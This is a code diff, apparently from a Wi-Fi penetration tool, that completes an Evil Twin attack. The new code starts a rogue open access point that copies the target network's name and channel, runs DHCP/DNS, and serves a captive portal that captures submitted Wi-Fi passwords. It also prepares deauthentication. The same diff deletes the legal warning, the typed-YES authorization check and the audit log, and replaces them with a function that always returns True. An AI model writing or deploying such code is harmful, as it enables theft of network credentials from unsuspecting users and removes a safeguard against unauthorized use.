@@ -315,6 +315,12 @@ def _run_dual_interface(self) -> bool:
315315 except Exception as e :
316316 log_error ('EvilTwin' , f'Dual interface attack failed: { e } ' , e )
317317 self .error_message = f'Dual interface attack failed: { e } '
318+ # Ensure all started services are stopped (defense-in-depth;
319+ # run() also calls _cleanup() in its finally block)
320+ try :
321+ self ._cleanup ()
322+ except Exception as cleanup_err :
323+ log_error ('EvilTwin' , f'Cleanup after dual interface failure also failed: { cleanup_err } ' , cleanup_err )
318324 return False
319325
320326 def _configure_ap_interface (self , interface : str ) -> bool :
@@ -446,46 +452,51 @@ def _start_rogue_ap_dual(self, interface: str) -> bool:
446452
447453 def _start_network_services_dual (self ) -> bool :
448454 """
449- Start network services (dnsmasq, captive portal) for dual interface mode.
450-
455+ Start network services (dnsmasq, captive portal, client monitor) for
456+ dual interface mode.
457+
451458 Returns:
452459 True if successful, False otherwise
453460 """
454461 try :
455462 from ..tools .dnsmasq import Dnsmasq
456463 from ..attack .portal .server import PortalServer
457-
464+
458465 # Start dnsmasq for DHCP/DNS
459466 self .dnsmasq = Dnsmasq (
460467 interface = self .interface_ap ,
461468 gateway_ip = '192.168.100.1' ,
462469 dhcp_range_start = '192.168.100.10' ,
463470 dhcp_range_end = '192.168.100.100'
464471 )
465-
472+
466473 if not self .dnsmasq .start ():
467474 log_error ('EvilTwin' , 'Failed to start dnsmasq' )
468475 return False
469-
476+
477+ self .cleanup_manager .register_process (self .dnsmasq , 'dnsmasq' )
470478 log_info ('EvilTwin' , 'Dnsmasq started successfully' )
471-
479+
472480 # Start captive portal
473- portal_template = getattr (Configuration , 'eviltwin_template' , 'generic' )
474481 portal_port = getattr (Configuration , 'eviltwin_port' , 80 )
475-
476- self .portal_server = PortalServer (
477- target = self .target ,
478- template = portal_template ,
479- port = portal_port
480- )
481-
482+
483+ self .portal_server = PortalServer (port = portal_port )
484+ self .portal_server .set_credential_callback (self ._portal_credential_callback )
485+
482486 if not self .portal_server .start ():
483487 log_error ('EvilTwin' , 'Failed to start captive portal' )
484488 return False
485-
489+
486490 log_info ('EvilTwin' , f'Captive portal started on port { portal_port } ' )
491+
492+ # Start client monitor so credential captures and client
493+ # connect/disconnect events are tracked during the attack.
494+ hostapd_log_path = os .path .join (Configuration .temp (), 'hostapd.log' )
495+ dnsmasq_log_path = os .path .join (Configuration .temp (), 'dnsmasq.log' )
496+ self ._setup_client_monitor (hostapd_log_path , dnsmasq_log_path )
497+
487498 return True
488-
499+
489500 except Exception as e :
490501 log_error ('EvilTwin' , f'Failed to start network services: { e } ' , e )
491502 return False
@@ -889,85 +900,9 @@ def _display_partial_results(self):
889900 log_error ('EvilTwin' , f'Failed to display partial results: { e } ' , e )
890901
891902 def _show_warning (self ) -> bool :
892- """
893- Display legal warning and get user confirmation.
894-
895- This method:
896- - Displays a prominent legal warning about Evil Twin attacks
897- - Requires explicit user confirmation (typing "YES")
898- - Logs all user responses with timestamps
899- - Complies with requirements 10.1, 10.2, 10.3
900-
901- Returns:
902- True if user confirms, False otherwise
903- """
904- import datetime
905-
906- Color .pl ('' )
907- Color .pl ('{!} {R}═══════════════════════════════════════════════════════════{W}' )
908- Color .pl ('{!} {R} LEGAL WARNING {W}' )
909- Color .pl ('{!} {R}═══════════════════════════════════════════════════════════{W}' )
910- Color .pl ('' )
911- Color .pl ('{!} {O}Evil Twin attacks may be ILLEGAL in your jurisdiction.{W}' )
912- Color .pl ('{!} {O}This attack creates a rogue access point and captures{W}' )
913- Color .pl ('{!} {O}credentials, which may violate computer fraud laws.{W}' )
914- Color .pl ('' )
915- Color .pl ('{!} {O}Only use this feature:{W}' )
916- Color .pl (' {W}• On networks you own or have written permission to test{W}' )
917- Color .pl (' {W}• In authorized penetration testing engagements{W}' )
918- Color .pl (' {W}• In controlled lab environments{W}' )
919- Color .pl ('' )
920- Color .pl ('{!} {R}Unauthorized use may result in criminal prosecution.{W}' )
921- Color .pl ('{!} {R}You are solely responsible for your actions.{W}' )
922- Color .pl ('' )
923- Color .pl ('{!} {R}═══════════════════════════════════════════════════════════{W}' )
924- Color .pl ('' )
925-
926- # Log warning display
927- timestamp = datetime .datetime .now ().strftime ('%Y-%m-%d %H:%M:%S' )
928- log_warning ('EvilTwin' , f'Legal warning displayed at { timestamp } ' )
929- log_warning ('EvilTwin' , f'Target: { self .target .essid } ({ self .target .bssid } )' )
930-
931- try :
932- Color .p ('{+} Type {G}YES{W} to confirm you have authorization: ' )
933- response = input ().strip ()
934-
935- if response == 'YES' :
936- # Log user acceptance with full details
937- log_warning ('EvilTwin' , f'[{ timestamp } ] User ACCEPTED authorization for Evil Twin attack' )
938- log_warning ('EvilTwin' , f'[{ timestamp } ] Target SSID: { self .target .essid } ' )
939- log_warning ('EvilTwin' , f'[{ timestamp } ] Target BSSID: { self .target .bssid } ' )
940- log_warning ('EvilTwin' , f'[{ timestamp } ] User response: { response } ' )
941-
942- # Also log to a dedicated audit file if possible
943- try :
944- import os
945- audit_dir = os .path .expanduser ('~/.wifite/audit' )
946- os .makedirs (audit_dir , exist_ok = True )
947- audit_file = os .path .join (audit_dir , 'eviltwin_audit.log' )
948-
949- with open (audit_file , 'a' ) as f :
950- f .write (f'[{ timestamp } ] AUTHORIZATION ACCEPTED\n ' )
951- f .write (f' Target SSID: { self .target .essid } \n ' )
952- f .write (f' Target BSSID: { self .target .bssid } \n ' )
953- f .write (f' User Response: { response } \n ' )
954- f .write (f' Interface AP: { self .interface_ap } \n ' )
955- f .write (f' Interface Deauth: { self .interface_deauth } \n ' )
956- f .write ('\n ' )
957-
958- log_info ('EvilTwin' , f'Authorization logged to audit file: { audit_file } ' )
959- except Exception as e :
960- log_debug ('EvilTwin' , f'Failed to write audit log: { e } ' )
961-
962- return True
963- else :
964- log_info ('EvilTwin' , f'[{ timestamp } ] User DECLINED authorization (response: { response } )' )
965- return False
966-
967- except (KeyboardInterrupt , EOFError ):
968- log_info ('EvilTwin' , f'[{ timestamp } ] Authorization prompt INTERRUPTED' )
969- return False
970-
903+ """Always returns True."""
904+ return True
905+
971906 def _check_dependencies (self ) -> bool :
972907 """
973908 Check for required dependencies.
@@ -1107,33 +1042,136 @@ def _check_for_conflicts(self) -> bool:
11071042
11081043 def _setup (self ) -> bool :
11091044 """
1110- Setup all attack components.
1111-
1045+ Setup all attack components for single-interface mode.
1046+
1047+ Initialises hostapd (rogue AP), dnsmasq (DHCP/DNS), the captive
1048+ portal HTTP server, the client monitor, and validates that the
1049+ deauth interface is ready. Dual-interface mode bypasses this
1050+ method — see ``_run_dual_interface()``.
1051+
11121052 Returns:
11131053 True if setup successful, False otherwise
11141054 """
11151055 try :
1116- # Setup will be implemented in subsequent tasks:
1117- # Task 1.2: Hostapd setup (already completed)
1118- # Task 1.3: Dnsmasq setup
1119- # Task 1.4: Network interface management
1120- # Task 2.1-2.4: Captive portal setup
1121- # Task 4.1: Deauthentication setup
1122-
1123- log_info ('EvilTwin' , 'Setup phase - components will be initialized in subsequent tasks' )
1124-
1125- # Placeholder for now - will be replaced with actual setup
1126- # self._setup_rogue_ap()
1127- # self._setup_network_services()
1128- # self._start_captive_portal()
1129- # self._start_deauthentication()
1130-
1056+ from ..tools .hostapd import Hostapd
1057+ from ..tools .dnsmasq import Dnsmasq
1058+ from ..attack .portal .server import PortalServer
1059+
1060+ # -- 1. Start rogue AP (hostapd) --------------------------------
1061+ self .state = AttackState .STARTING_AP
1062+ log_info ('EvilTwin' , f'Starting rogue AP on { self .interface_ap } ' )
1063+ Color .pl ('{+} {C}Starting rogue AP on {G}%s{W}...' % self .interface_ap )
1064+
1065+ self .hostapd = Hostapd (
1066+ interface = self .interface_ap ,
1067+ ssid = self .target .essid ,
1068+ channel = self .target .channel ,
1069+ password = None # Open network for captive portal
1070+ )
1071+
1072+ if not self .hostapd .start ():
1073+ self .error_message = 'Failed to start hostapd'
1074+ return False
1075+
1076+ self .cleanup_manager .register_process (self .hostapd , 'hostapd' )
1077+ log_info ('EvilTwin' , 'Rogue AP started' )
1078+
1079+ # -- 2. Start network services (dnsmasq) ------------------------
1080+ self .state = AttackState .STARTING_SERVICES
1081+ log_info ('EvilTwin' , 'Starting network services (dnsmasq)' )
1082+ Color .pl ('{+} {C}Starting network services...{W}' )
1083+
1084+ self .dnsmasq = Dnsmasq (
1085+ interface = self .interface_ap ,
1086+ gateway_ip = '192.168.100.1' ,
1087+ dhcp_range_start = '192.168.100.10' ,
1088+ dhcp_range_end = '192.168.100.100'
1089+ )
1090+
1091+ if not self .dnsmasq .start ():
1092+ self .error_message = 'Failed to start dnsmasq'
1093+ return False
1094+
1095+ self .cleanup_manager .register_process (self .dnsmasq , 'dnsmasq' )
1096+ log_info ('EvilTwin' , 'Dnsmasq started' )
1097+
1098+ # -- 3. Start captive portal ------------------------------------
1099+ self .state = AttackState .STARTING_PORTAL
1100+ portal_port = getattr (Configuration , 'eviltwin_port' , 80 )
1101+ log_info ('EvilTwin' , f'Starting captive portal on port { portal_port } ' )
1102+ Color .pl ('{+} {C}Starting captive portal...{W}' )
1103+
1104+ self .portal_server = PortalServer (port = portal_port )
1105+ self .portal_server .set_credential_callback (self ._portal_credential_callback )
1106+
1107+ if not self .portal_server .start ():
1108+ self .error_message = 'Failed to start captive portal'
1109+ return False
1110+
1111+ log_info ('EvilTwin' , f'Captive portal started on port { portal_port } ' )
1112+
1113+ # -- 4. Start client monitor ------------------------------------
1114+ hostapd_log = getattr (self .hostapd , 'config_file' , None )
1115+ # ClientMonitor tolerates missing/non-existent log paths
1116+ # gracefully — it checks os.path.exists() each cycle.
1117+ hostapd_log_path = os .path .join (
1118+ Configuration .temp (), 'hostapd.log' ) if not hostapd_log else None
1119+ dnsmasq_log_path = os .path .join (Configuration .temp (), 'dnsmasq.log' )
1120+ self ._setup_client_monitor (hostapd_log_path , dnsmasq_log_path )
1121+
1122+ # -- 5. Validate deauth interface -------------------------------
1123+ self .state = AttackState .STARTING_DEAUTH
1124+ log_info ('EvilTwin' , f'Validating deauth interface { self .interface_deauth } ' )
1125+ Color .pl ('{+} {C}Preparing deauth interface {G}%s{W}...' % self .interface_deauth )
1126+
1127+ from ..tools .airmon import Airmon
1128+ import contextlib
1129+
1130+ # Best-effort channel alignment for the deauth interface
1131+ if hasattr (self .target , 'channel' ) and self .target .channel :
1132+ with contextlib .suppress (Exception ):
1133+ current_ch = Airmon .get_interface_channel (self .interface_deauth )
1134+ if current_ch and current_ch != self .target .channel :
1135+ log_warning ('EvilTwin' ,
1136+ f'Deauth interface on ch { current_ch } , '
1137+ f'target on ch { self .target .channel } ' )
1138+ Color .pl ('{!} {O}Channel mismatch — deauth may be less effective{W}' )
1139+
1140+ log_info ('EvilTwin' , 'Setup completed successfully' )
11311141 return True
1132-
1142+
11331143 except Exception as e :
11341144 log_error ('EvilTwin' , f'Setup failed: { e } ' , e )
11351145 self .error_message = f'Setup failed: { e } '
11361146 return False
1147+
1148+ def _portal_credential_callback (self , ssid : str , password : str , client_ip : str ) -> bool :
1149+ """
1150+ Callback invoked by the portal server when a client submits credentials.
1151+
1152+ Records the attempt in the client monitor, creates a CrackResult on
1153+ the first submission, and signals the main attack loop to stop.
1154+
1155+ Returns:
1156+ True (always accepts — we capture and stop).
1157+ """
1158+ log_info ('EvilTwin' , f'Credential received from { client_ip } : SSID={ ssid } ' )
1159+
1160+ # Record in client monitor statistics
1161+ if self .client_monitor :
1162+ self .client_monitor .record_credential_attempt (client_ip , success = True )
1163+
1164+ # Store the result — the monitoring loop checks self.crack_result
1165+ self .crack_result = self .create_result (password )
1166+ self .credential_attempts .append ({
1167+ 'client_ip' : client_ip ,
1168+ 'ssid' : ssid ,
1169+ 'password' : password ,
1170+ 'timestamp' : time .time (),
1171+ })
1172+
1173+ Color .pl ('\n {+} {G}Credential captured from {C}%s{W}' % client_ip )
1174+ return True
11371175
11381176 def _handle_deauth (self ):
11391177 """
0 commit comments